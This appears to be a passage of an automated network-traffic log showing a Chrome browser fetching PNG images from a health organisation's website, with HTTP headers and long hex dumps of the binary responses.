/{)(g?JL"9.Hp<}quTu\|&JUv?VNHA{I+tR0Vz_yge\ywgE?OQg]}z]\|?UMZU7(8no"R}xx:_j[/XU
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: a3 0a a5 1f 1d 7b 36 65 48 b8 f6 5f ee 8c c0 7f 87 bb f3 f0 15 f3 2b 77 ed c5 38 0b c5 78 31 e8 d7 25 ef 8a 8f d5 cb 8c 17 e1 3a 8c f8 28 fb 11 75 89 49 2e 31 86 90 bb 4c f0 f3 54 f2 78 59 8a 99 b5 c7 81 47 03 ea 65 43 ec 21 fa 23 b5 93 68 e0 ae b8 af b7 f6 ba 77 ca 6b 36 31 89 7a 8d 9e a5 dd ff a0 f0 56 5a f7 33 de 9e 82 3c 4e e7 af dc a4 ef f7 fe 4a 93 96 6e 72 db 4e 34 00 00 ce 90 9a 76 47 e9 bd f2 e7 73 af 49 1f 1b f3 b1 35 9b b4 ef c2 d2 16 ac dd 2d 52 b1 e3 33 75 c5 b7 4d 0b 45 63 0c ef 03 66 13 1d 9c f7 77 a5 17 3a 38 93 77 91 42 f4 d9 f8 be e4 df fd 1d fc ec 06 e0 da e4 3f a8 00 00 00 c0 25 21 80 05 00 00 e0 79 02 f1 98 03 18 90 d5 a2 05 5e 06 77 7f 86 9e 28 5f 22 df 57 78 db c3 12 15 4a 57 a3 36 8d ab d1 f5 e4 97 29 3a f6 14 8d 9a f7 15 82 10 0a Data Ascii: {6eH_+w8x1%:(uI.1LTxYGeC!#hwk61zVZ3<NJnrN4vGsI5-R3uMEcfw:8wB?%!y^w(_"WxJW6):
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: b3 aa ee 35 76 4e 01 36 88 d3 33 a4 42 fb 21 12 1f 1d 21 fd 3b 3f 2e be d6 42 7a 26 6d a7 cb 57 7e 93 e5 6b f6 98 f2 33 06 40 8f 1a 55 2a 49 fb c7 6b ca df aa 96 97 c7 2a 97 93 07 03 5c 33 c8 09 00 9e e4 66 95 b2 52 8f 67 c8 ae 83 47 65 db fe 34 f9 70 f3 2e f9 6e ff 41 ee 39 80 7c 5b f1 d5 5e a3 0a b6 2e aa 9a d6 bc a1 7d a4 e7 f8 37 4d b9 19 ea 99 fb f8 e9 ce 12 50 4a ff e1 33 38 8f 0a d6 bd 3d aa bb cb 57 ea fe 7a db 7f 5d 60 16 00 00 00 37 47 00 0b 00 00 a0 20 ac 16 89 ef d7 c5 e1 c1 19 b5 11 d6 35 2c 58 da 34 9c 28 f1 f3 bf 96 b1 ef 7d a4 f5 54 eb b7 07 8e 49 8b 7a 15 b5 8d e7 08 17 33 af c8 cc 25 9b f4 55 6a f2 b7 c9 cb cd 1f 97 a1 11 cd af b7 87 bc 7d 2b 88 d0 9a 0f d9 75 b9 98 84 f9 f2 ce ea 2d b2 ec d5 48 a9 14 58 d2 ae b1 ec a1 c2 77 8b 3e df 29 Data Ascii: 5vN63B!!;?.Bz&mW~k3@UIk\3fRgGe4p.nA9\|[^.}7MPJ38=Wz]`7G 5,X4(}TIz3%Uj}+u-HXw>)
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: b9 d6 f8 c8 de d2 30 a8 96 5b ae 75 33 e7 2f 5c 92 29 6f 6c fc a9 c2 93 1b db 27 5e 53 51 b1 0c 4d 5e a1 05 be 2a c4 e9 d0 f6 39 8d 9a 1b b5 77 ab 85 d2 f4 9e 17 00 00 6c 8a 00 16 00 bb a2 02 16 3c ca ce 3d 39 32 c0 b5 d8 d0 10 d6 de f9 63 b5 f2 d5 86 29 2a 96 ff 19 f9 4a c5 37 1c ca 41 6d 4a a8 d0 09 e0 cd 5c 43 c2 e5 5c 56 8a 0c ec d1 9a af 03 00 00 00 00 28 a7 c8 1e ad b5 77 aa 11 7d ba 31 75 f0 58 23 7b 77 d0 ed d6 57 fe cd 3d 67 a0 d5 fe e4 c4 21 9d dc 72 ad 9b b9 70 f1 b2 0c 7d 29 53 a6 67 ac 35 64 3c 65 f5 96 5d 72 b6 e8 7c 85 7e 6f 56 72 ac 61 e1 2b 55 a9 4b ed dd 12 be 82 9b 51 01 0b 80 57 21 80 05 c0 ae a8 80 05 8f 93 b5 33 5b 62 67 ac d6 36 02 8c a0 da 90 7d 93 11 6f 68 bb 3e 75 2a ee f1 51 af ca d9 a2 0b ba 8f 15 fe 78 73 19 de a7 ab ee e3 00 Data Ascii: 0[u3/\)ol'^SQM^9wl<=92c)J7AmJ\C\V(w}1uX#{wW=g!rp})Sg5d<e]r\|~oVra+UKQW!3[bg6}oh>u*Qxs
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: db 45 75 57 ca d6 b9 89 5a 8b 60 bb fa e3 3d 8d 74 dd b3 85 1b 3e b3 ed b1 c2 40 2a 7c b5 28 45 22 ea 84 52 65 00 00 00 00 00 80 00 d3 b2 59 5d d9 9f 91 4a 08 0b e5 a2 de 47 ff 69 e9 38 09 ab 69 fe 18 b9 9c c3 79 52 bb 47 8a e4 64 e5 d8 63 11 3d 6e d9 9e 9e 6c ca fb ad 33 57 38 f7 52 9e 7a ce a8 90 5a d7 fb 6e 3b 3f a2 b1 4a e5 8a f2 ce d4 38 c6 11 da 17 d7 8e 01 87 20 80 05 d8 8c 2f 33 9d 5f a2 b0 bd f9 1f 7c ac b5 15 36 8a ba e3 42 b5 08 f6 d6 aa 69 cb 52 fc ee 7f 6e b0 c1 5e c0 c9 6a dc 54 9b f0 15 00 00 00 00 00 40 80 0b af ed 25 84 85 32 53 93 24 fe 99 31 ca f0 6e 4f 97 a3 c2 57 e1 3d 46 da 67 0c 5f 51 f8 aa 49 83 5a 86 3f 94 3a f6 cd db 76 1a fe 38 46 78 a6 5b 07 d9 35 7f c4 65 df 97 0e 0e 72 cb 9e f4 91 8e 3c ae 00 c0 b5 63 c0 21 08 60 01 f6 b4 91 Data Ascii: EuWZ`=t>@*\|(E"ReY]JGi8iyRGdc=nl3W8RzZn;?J8 /3_\|6BiRn^jT@%2S$1nOW=Fg_QIZ?:v8Fx[5er<c!`
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: ba 5a 9d 2b ea 52 55 f8 f9 45 dd 75 ce 16 fd bf a2 8e 55 c5 9d ac ce 55 ac 28 52 d4 f9 aa f8 08 8a 9b 63 55 28 fa 1d 51 d8 ec aa a8 83 56 71 9b 9e b3 c5 8f 79 a6 e8 73 2a 5c b0 85 8b 5b 60 15 77 db f2 a9 ef b5 0a 85 6f 65 57 2c fa b7 b3 45 1d ba ce 3f a8 fa 8d 75 aa b0 b3 d7 57 ff fc 57 d1 7e 14 6e 77 cb 57 39 85 db d1 3e f5 8b c2 cf f6 15 77 f6 2a dc 8f c6 0d c2 b4 8f cd c2 42 a5 d9 4d d5 b5 bf df 1e 5e a3 f0 df fe e7 86 ab 2d d1 25 fb ae b7 ab bd 7e e2 27 43 20 2b 49 e7 2b 5e 7d eb e9 da d5 2c ee 06 e8 72 d1 fb c0 df 6c 9d 9b 20 55 3b 0e 17 39 76 3c d0 4b e1 b7 e6 ff ed 03 79 aa eb bd 72 57 e3 30 39 9a 77 52 86 4f 5f ad fd 9b 3f b0 ba eb 95 72 ea f4 59 e9 3f f6 8d 52 4d 82 01 4a 80 ee 57 b0 1d 02 58 b0 8c 2f 33 7d bb 2b 32 76 87 88 34 61 15 60 a4 cd db Data Ascii: Z+RUEuUU(RcU(QVqys\[`woeW,E?uWW~nwW9>wBM^-%~'C +I+^},rl U;9v<KyrW09wRO_?rY?RMJWX/3}+2v4a`
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 4a 44 df 6a b1 f1 2c 08 6b 3b 9c 08 ec 02 02 b0 40 91 a3 c5 c6 0f 25 22 96 76 30 1a de cf ce 27 2f c6 53 d9 d2 79 07 ec 84 12 6c 10 b8 30 f1 71 ea 39 66 46 48 ee 5f fa d1 63 84 b8 fd 10 07 a9 07 83 96 9f e7 ce e3 55 df 3c f1 65 32 9c 97 f9 b2 29 67 a3 3a e5 84 7c 87 a6 54 af 74 6b 72 3e 9b 99 4a 1e b3 ac d5 f4 5f d3 74 92 26 67 0d 9b 86 b5 32 37 2e f9 b9 fc 33 28 d0 2d 55 02 dd 9a 15 ad 66 9c 93 11 21 f7 5c 4e 7d 66 b3 38 e5 ea a6 52 08 93 bf d7 0c 31 a3 9e a9 81 39 e4 4a db 67 88 73 fe f1 f5 3f 72 db ee dd d7 b9 2d 5d b9 72 d8 f5 43 00 00 00 00 80 60 42 33 e4 f8 4f 0d 85 d9 30 50 0e 11 75 29 47 b5 6e b7 50 b0 ea d6 b0 76 ee 7b a6 65 57 78 59 f0 c3 2e f9 9d 52 04 91 03 4c 39 f6 74 98 26 b9 34 31 6e 77 39 4a 88 cf 5c 72 fc 6e 8d bb 59 fd 1c b2 44 83 40 ee Data Ascii: JDj,k;@%"v0'/Syl0q9fFH_cU<e2)g:\|Ttkr>J_t&g27.3(-Uf!\N}f8R19Jgs?r-]rC`B3O0Pu)GnPv{eWxY.RL9t&41nw9J\rnYD@
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 2f fb b5 56 f7 83 37 57 a8 79 29 db 32 c1 b2 7d 69 4d 93 81 3c e3 12 d3 0b 2c 13 e8 a8 8c 27 a1 61 7b 67 9d c0 b9 8b 97 be 50 73 e6 0f 0e 50 a9 08 33 ca 5b ba 1c 86 29 0e 3d da 9d 0d bd 3a b7 87 0f be 58 cd fd 96 c0 0c bf b4 43 54 1b d7 bb e3 79 a7 75 c0 8a 2a e9 e5 4a 9c 4d 68 d9 9a 1f e0 b7 9d c3 77 c0 ba b2 67 1b f8 c7 2b ef 94 62 a3 19 86 29 2b d8 01 ab 74 61 c9 b7 04 a3 2c d4 af f2 c3 ad c3 d8 c1 9d e1 f7 97 77 80 37 96 ae 87 ab a7 bf 10 11 47 ac f1 03 7a 95 7a fb 7e c1 94 7f ae b7 fb 1b 9f ae 83 9f 0f 1d 85 b7 57 af 67 75 2a a6 44 cc 7f 68 14 77 1c c3 30 0c c3 30 0c c3 30 0c c3 30 0c c3 30 0c c3 94 80 59 7f ba 06 ce be 82 1d b0 12 96 f4 72 90 51 31 2d 2a ad 3b 72 3c 1b c6 fd 6d 21 bc f0 ce c7 a7 5d 77 f3 ce 9f a1 7d f3 da 11 af 83 2b 64 d1 a0 56 cd Data Ascii: /V7Wy)2}iM<,'a{gPsP3[)=:XCTyuJMhwg+b)+ta,w7Gzz~WguDhw00000YrQ1-*;r<m!]w}+dV
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 96 34 68 4d ee d2 b7 eb 69 d4 11 99 da 69 83 af e2 f9 6c a1 c8 91 64 0d d6 6c da dc fc 62 53 dd 22 a5 27 87 a7 f7 6c df a1 ed 1b 43 4c 49 c9 6f 97 2e 34 b3 fa ca 86 7e 3b be 99 f0 45 c9 8a d7 bf aa 78 36 bd 70 5e 7f 3d 7d e9 3b 26 a3 a3 5a ad 9a 66 4b 9c 7d 19 26 a2 8a f2 56 c0 db 54 29 ca 45 c9 ea 4f ab de 78 8b b7 c1 6d f5 25 bb dc 6c b3 68 d4 5d 54 ad 66 01 25 ef 98 cf eb 5b f1 fc 44 6d a7 dd fe 3f 14 d8 74 f4 48 3d 4a 93 67 b2 02 7d 6f af 55 2e 70 fd 6a 66 9b bc 3e 9b 5d 1e 78 b4 7d f5 3a 3d f9 fa a5 43 b4 3d 7f f2 f3 da 16 d4 ae c5 db 26 72 24 1b de 2a 5f c5 b7 19 ce b3 4f 22 ae 95 97 92 cf 91 3a 97 f5 93 3d 6a 66 6a ea ad bf a4 e5 93 4d cd 77 c9 04 cd e3 6d 78 72 6c 7c 87 7c 47 82 6c e3 ed 70 7c 51 c6 f2 68 eb 4a 53 29 79 ea c8 5f 6a fb cd 9c b9 da Data Ascii: 4hMiildlbS"'lCLIo.4~;Ex6p^=};&ZfK}&VT)EOxm%lh]Tf%[Dm?tH=Jg}oU.pjf>]x}:=C=&r$*_O":=jfjMwmxrl\|\|Glp\|QhJS)y_j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50052	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	777	OUT	GET /wp-content/uploads/2023/11/AE-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 253994 Connection: close Last-Modified: Thu, 16 Nov 2023 13:56:07 GMT ETag: "65561f77-3e02a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 03 df f1 49 44 41 54 78 da ec dd 4d 6d 1c 41 10 05 e0 40 58 04 91 0f 01 60 08 0b c1 10 0c 61 21 18 c2 de 73 19 08 86 30 10 16 82 21 0c 83 4e 8d b4 8e a2 48 49 14 7b 7f 5e f7 7c 87 ef 5e 5d dd ea d3 53 d5 97 d6 da 17 00 00 00 00 00 00 00 00 00 fe 5f 44 11 00 00 00 00 00 00 00 00 00 3d 8a 28 02 00 00 00 00 00 00 00 00 a0 47 11 45 00 00 00 00 00 00 00 00 00 f4 28 a2 08 00 00 00 00 00 00 00 00 80 1e 45 14 01 00 00 00 00 00 00 00 00 d0 a3 88 22 00 00 00 00 00 00 00 00 00 7a 14 51 04 00 00 00 00 00 00 00 00 40 8f 22 8a 00 00 00 00 80 77 df bf 7e db 97 e7 f2 f2 9b a7 f2 90 52 27 00 00 00 00 08 60 01 00 00 00 10 e1 1c ae 9a ca 52 da 3f 9c ca 41 18 0b 00 00 00 00 Data Ascii: PNGIHDR``MnIDATxMmA@X`a!s0!NHI{^\|^]S_D=(GE(E"zQ@"w~R'`R?A
2024-04-24 12:45:06 UTC	16384	IN	Data Raw: d6 7b d3 d0 8c c5 7c 5d f6 3b d2 da 3f e8 da a8 50 7a b5 d0 8f 02 45 e9 5b 0b 6b 0c 32 17 be de 7c 27 d6 a7 8c 43 f7 d5 5d 65 59 8b 39 04 00 23 d8 70 79 0e 0c 00 00 08 60 01 00 80 4a ba 12 d8 26 0f 22 00 c0 4a 17 5c 68 7d 28 e4 92 36 48 a3 ea 15 e9 37 6b 15 60 28 51 45 26 42 10 a5 87 aa dd cc c2 27 a3 d0 26 6d 93 95 bd 46 a8 e2 37 e8 46 fd 93 47 3f 46 35 ac 82 e1 ce 98 23 0a 1c f5 03 41 a9 d6 c7 9d 5b 37 d3 05 24 75 bc cf b3 9e f5 db 15 a6 ba a6 e8 3d 5b cc d7 31 c3 7d 5f bc f5 da 69 af 17 73 5b c3 36 8c bc e4 bc 4c 59 9d b3 bb 86 65 1f 5d 4b c2 cf df 7c d5 62 0e 01 c0 c0 ae b8 3c 0b 06 00 00 04 b0 00 00 40 bd 00 d6 9a c9 83 08 00 b0 a1 d0 42 6c 10 b5 3e f4 19 bb 8d f2 74 d5 4a 46 68 25 17 c7 49 41 16 cb cf a1 6a 18 96 ed d7 5c 2a bb 64 6f 35 76 51 07 bb Data Ascii: {\|];?PzE[k2\|'C]eY9#py`J&"J\h}(6H7k`(QE&B'&mF7FG?F5#A[7$u=[1}_is[6LYe]K\|b<@Bl>tJFh%IAj\*do5vQ
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 64 16 e9 a9 4e 2a 47 3d a9 bc 7b 01 00 c4 24 71 10 00 80 98 68 c0 42 dd 58 f3 95 6f 79 17 39 4b 57 2f 6d a5 78 ea 7f 77 40 63 e5 7d ea 98 15 f8 b2 5e e3 6f df 79 8b 06 2c 00 55 6e 27 18 6e b5 38 21 84 90 72 16 15 d8 3d 80 6d 0b 01 94 66 61 ba 95 32 c5 27 45 db f6 f5 65 d5 55 bc b1 2b 47 6c c1 98 c4 b5 68 02 ab 9d f8 75 8c 18 1a f5 40 03 16 00 80 06 2c 00 40 48 34 60 a1 4e ea d0 7c 75 7b fe fb a2 81 4a 6e 4a d4 23 e2 13 c7 ac b8 57 d5 ca 61 1a b0 00 64 69 b8 b2 ad a8 d8 4e 90 10 42 c8 1f 37 64 4d b7 fc 5e 61 f7 0c 89 7b 17 80 58 ac 41 2a e7 62 29 6f b6 b1 ad 03 b7 ba a0 cb a7 0f e5 3a 3e 3b 07 12 d7 a2 ce ec 1c 7b 6d 29 72 26 87 87 24 ce 25 e2 52 79 f7 02 00 88 49 e2 20 00 00 31 d9 03 c9 c7 2a 0f 46 c0 16 c7 aa 87 6f be b2 b1 f0 65 6d 1b e0 db ff 55 30 05 Data Ascii: dNG={$qhBXoy9KW/mxw@c}^oy,Un'n8!r=mfa2'EeU+Glhu@,@H4`N\|u{JnJ#WadiNB7dM^a{XAb)o:>;{m)r&$%RyI 1*FoemU0
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: bd 35 1c b3 56 77 d5 b3 c1 a0 ad ba b7 b9 26 84 af 90 91 83 00 00 00 00 00 00 00 19 81 91 84 98 25 25 10 a5 5d a9 9a cd da c2 9c 06 bd 42 9d 97 ec 15 6b 51 6c 6c 10 c2 c2 48 ed 17 5b ac bc 03 47 8c 55 13 07 81 18 a3 be 35 a4 98 33 f2 47 19 d1 84 12 d0 d1 d6 cf c3 67 4f e8 bc fd ad bc 75 68 bf ff bf 66 43 3d 72 5c 89 2c 6e 4b cb 8b 7a fd 76 71 ac da 9a 59 c2 57 f5 7e ae 89 eb 8e e9 90 91 83 00 00 00 00 00 00 00 e9 67 ea c1 20 23 09 31 f5 fa 7d dc c5 d7 3f ba 66 b3 5e 2a ba c1 e3 07 33 17 2a b3 0a 21 2c 8c d8 2e 71 8f 95 f7 e1 88 b1 69 e2 20 10 63 b2 dc f5 aa df c8 1f 61 c4 04 d5 0a 1c 0d 0b cd 3c 1c d6 c5 a0 54 00 d5 54 35 b4 3a 3f e3 e6 5f 8c b9 67 d7 2f fb 60 96 99 50 56 c5 e2 3d 38 2b d2 91 ea ee c9 c3 7a 0c 9b 1c 9b 7e bd 51 21 31 b9 fe 26 ae 39 da 57 Data Ascii: 5Vw&%%]BkQllH[GU53GgOuhfC=r\,nKzvqYW~g #1}?f^3!,.qi ca<TT5:?_g/`PV=8+z~Q!1&9W
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 0d 6d 15 f2 e6 9b 36 b6 23 db b7 84 25 8b 01 00 00 00 00 00 00 20 15 cd f9 9a eb ef ec 90 78 06 4b c5 ce de bd 84 1f ce 6f 90 b0 90 40 e5 89 df 48 9c 0b a5 73 c7 00 16 e5 d8 a3 2a 73 16 94 46 12 07 41 e9 64 17 a9 9d 22 17 4b 2a 58 8d f9 aa 8b 2c ac a8 35 be ef c5 28 37 8d 36 20 16 7d 85 ae 9b 57 bf 6d f5 78 c2 f9 b2 5f 12 48 7c 77 54 8c fc 03 88 fa cc b4 03 00 00 00 00 00 00 80 d4 cc 4d 9e 93 78 0e 4b c5 cf bf 57 6a b3 b0 10 80 bd 87 2a f4 0f ef ed 9d 55 9e 0b 2d 48 7c 46 4a ae 9a ca 8c 05 a5 93 c4 41 50 3a f9 3d 52 45 2e 98 54 a0 4e 3c f7 54 2e 37 ab 03 8f 6d 8b be 4d a2 dd 00 47 59 11 eb 56 7d a1 a5 5f 31 d8 31 84 5f 40 ac 38 7f f8 0d 89 ef 90 f4 bb f2 8f 13 0e 00 00 00 00 00 00 00 52 35 35 3c 20 f1 2c 96 8a df c2 f4 45 d7 26 e1 c7 fa f6 3e 4b e2 73 b7 Data Ascii: m6#% xKo@HssFAd"KX,5(76 }Wmx_H\|wTMxKWj*U-H\|FJAP:=RE.TN<T.7mMGYV}_11_@8R55< ,E&>Ks
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 25 5a e6 3e 89 50 c0 d2 05 05 2c 0a 58 2e 42 01 4b 27 14 b0 28 60 51 c0 72 2b 14 b0 08 05 2c 66 ba b9 78 f2 0d 15 f7 d8 89 7e a4 d3 cd 44 22 d0 7b 07 f6 da 2a 59 2a b6 73 3a 62 99 ab 31 6b af ce 09 6f c4 29 fa 0d 8d 5a dc 98 a4 a1 62 23 92 84 ad 7a c5 76 83 fe 30 8b 72 12 da a2 cd f5 e7 db f3 8d 7b 03 86 d5 af 7c e5 58 47 4b c0 28 8d 08 38 65 3d 3f 06 24 af fd d7 8f 40 21 bb b8 48 ca 92 b5 28 11 93 3c 27 9d 2d 52 03 d0 76 10 98 e7 40 aa 44 4d 44 88 ab cd 02 f9 bd f3 ae cf 83 c1 d3 67 02 86 02 16 05 2c ff a3 65 ee 93 08 05 2c 5d cc 5f b3 15 98 c5 7d 11 03 44 06 0a 85 a4 12 37 35 b8 db 1a 4f f6 1f 91 ab 8c d4 10 7f 8d 7c 4e 91 77 e4 b5 d1 85 67 11 48 44 a0 92 31 0b 65 09 50 00 b2 90 2d af 0d 05 81 88 94 f5 e5 82 45 16 37 9d 15 dc e6 0a d9 57 e3 f3 13 6d 07 Data Ascii: %Z>P,X.BK'(`Qr+,fx~D"{Ys:b1ko)Zb#zv0r{\|XGK(8e=?$@!H(<'-Rv@DMDg,e,]_}D75O\|NwgHD1eP-E7Wm
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 6a 9f 7c 52 61 f5 9b c7 43 49 5a d2 f6 4f 4b 96 00 8c 95 90 17 01 95 45 93 c0 c7 8b 4b c0 85 83 87 14 38 8f c2 e9 86 0f c1 b2 3b ee 06 72 fe ab ef bc 13 1c a8 88 cb b1 92 21 de 7c 4d 02 69 9f 7c 6f 22 91 04 3d ed 57 45 92 1b 20 55 6d 9c f6 0c 68 3f d5 02 bc fd 3c f6 87 5a b0 63 de bf 03 99 73 10 ca 22 11 85 48 88 32 17 28 60 11 42 02 03 05 2c 42 82 85 2c 6c cb e7 22 14 c9 02 aa 77 a7 ab 5b 52 0c dc a9 45 28 d6 0b b1 22 5e 7d 71 fa 22 b0 23 09 67 a8 fc 4b d5 7b 0a f4 41 fa 89 b1 f9 13 7b 77 e3 1d 55 79 e7 01 fc 5f b0 0b d2 3d a7 33 c9 e4 85 16 b5 52 f7 f4 9c ad b6 ba da 3d 2d b5 2f 6b bb 2d 56 fb e2 6a 55 48 e8 d9 d3 0a d2 b3 a7 1c 56 c1 ea 7a 76 25 81 9e 76 25 f3 16 02 be 11 5e 6d 83 22 48 09 d6 04 a5 20 88 bc 13 44 94 08 8a 90 84 bc 98 84 cc cc dd fb 7c Data Ascii: j\|RaCIZOKEK8;r!\|Mi\|o"=WE Umh?<Zcs"H2(`B,B,l"w[RE("^}q"#gK{A{wUy_=3R=-/k-VjUHVzv%v%^m"H D\|
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 3f 04 5a 12 d2 a5 16 77 57 2d 00 e6 fa bd d2 57 12 78 7f ef 05 f2 8e d3 4d 5b dd 7e ae 00 d2 3e 7d 1c 22 e0 54 63 93 a7 ff fa 80 a4 ed e0 07 40 9f 1b aa 54 63 05 d0 e7 54 19 90 fe f4 9e 37 35 a1 32 a0 c5 29 21 32 34 e4 bc 91 f5 c9 eb a5 a5 c0 7b 9e 69 a1 ae 1c e8 32 83 11 a0 97 d5 88 78 25 b2 da 81 a5 2f 50 c0 f2 09 14 b0 cc 50 c0 0a 32 14 b0 ec 62 60 20 cf 53 ce 6d f3 d1 4f 01 33 b8 ec 39 79 11 dc 30 b3 4e 61 c5 f1 0d 3a 6e 19 2f 20 03 ee 37 cf 5d 05 3c f7 0f 5f 0e c6 fb 95 f9 1b f7 01 26 3f d9 7c f4 33 05 9f b3 0b 8e 16 5c f4 3d 24 7b fe 6e e1 06 20 cf 1e ba 14 5e 5c a4 0e 94 c9 03 95 51 80 bf 81 98 82 cf 2c 83 2c 41 28 b2 91 96 ae 14 71 e0 ed 7f 80 65 ec d8 ff 41 b6 33 97 ff 56 94 be f0 65 3b 47 0a 2d ad 45 af 12 f6 1e ab 7b 4b 41 ed 8a c9 9a 23 ab 12 Data Ascii: ?ZwW-WxM[~>}"Tc@TcT752)!24{i2x%/PP2b` SmO39y0Na:n/ 7]<_&?\|3\=${n ^\Q,,A(qeA3Ve;G-E{KA#
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: ec f8 d8 fe 1e fb 79 a4 07 da d4 49 ec 73 4e 7c 22 bd 8f de 2f 12 60 11 60 11 60 01 01 56 32 25 c0 82 ed 70 e9 95 c3 26 d6 82 30 f9 fa 29 48 97 b3 7f 6c c6 3a af 62 a9 98 77 c4 d2 2e 5d 8d 43 01 99 7f ce 26 ce 15 36 dd 9d 56 3a 22 02 ac 6d ea 0b 3a e7 15 23 17 14 62 ad 31 96 76 9c 72 db 49 2a 7e 6a 31 3e 0a 33 71 5c 3a 55 c6 0f 42 a3 38 bb 77 1f 22 56 e9 99 ae 03 f2 f4 de 2e 79 b6 6b bf fb 78 c1 d3 5d 5d f2 ec af f6 cb 33 7b 7f 2d 3f fd f7 05 02 ac 84 48 80 b5 09 04 58 6d 6b ad 7c af ef 4d 59 1c 95 f4 ec cb 32 8c 57 da 10 5a 95 8d 5e 52 3c 80 5b 1b 16 d5 b4 10 1b 46 db bd 3d b7 28 a1 75 0c 9e ff 28 2c 8c 87 45 d1 70 7d 6f 12 c7 3c 88 2e 8c 5c 53 d6 0d c7 b3 fc b8 be 94 1e 4b 40 64 95 93 5b 91 cf e7 e5 d7 71 67 f5 7e f4 fa a5 2b f2 17 27 2f c8 ef fc e6 35 Data Ascii: yIsN\|"/```V2%p&0)Hl:bw.]C&6V:"m:#b1vrI*~j1>3q\:UB8w"V.ykx]]3{-?HXmk\|MY2WZ^R<[F=(u(,Ep}o<.\SK@d[qg~+'/5
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: cb 5d a9 01 4b 0d 58 6a c0 52 03 96 1a b0 d4 80 a5 06 2c 35 60 a9 01 4b 0d 58 6a c0 52 03 96 1a b0 54 aa d2 e9 40 e3 2f 9d 88 5d 29 8a 03 38 7f 28 8c 49 61 a8 71 76 3d 0d ab 7a 0d 58 a6 11 3c c3 3e 47 3a c5 94 c4 98 79 90 fe ce a4 c1 43 3a 3c 33 28 6a 6a b5 0a 90 df 4e 97 cf 7d 82 36 fb bf ff fe bf d5 ad 5b 62 3e 3b dc 97 52 a9 aa 59 d9 a5 20 8c 81 f5 35 71 f0 5e 5b 3b 18 ee ed 35 86 13 60 0c 2c d7 48 f6 f8 60 23 0d f4 94 01 53 2e 80 ef fb c0 e1 d6 75 80 29 1a c4 e8 24 29 11 8a 95 82 90 da 3a ef 3e 20 c7 fc d7 12 2b 70 cc e0 42 fb f4 3b c1 99 be ee c2 06 7d 2e 8e a6 ba 1e 79 1c 84 37 e9 f9 bd 98 5d 24 78 b7 71 f6 3d c0 04 55 81 68 e2 26 83 4e 63 e0 a5 5b bf e6 23 41 d1 88 9d e6 81 01 72 a6 4c 3c d2 b1 09 14 4b 67 07 fb 99 7e 8b 1b bf e1 3a 91 f6 8a ca 26 Data Ascii: ]KXjR,5`KXjRT@/])8(Iaqv=zX<>G:yC:<3(jjN}6[b>;RY 5q^[;5`,H`#S.u)$):> +pB;}.y7]$xq=Uh&Nc[#ArL<Kg~:&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50050	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	778	OUT	GET /wp-content/uploads/2023/11/HIT-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 265336 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:32 GMT ETag: "65561f54-40c78" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
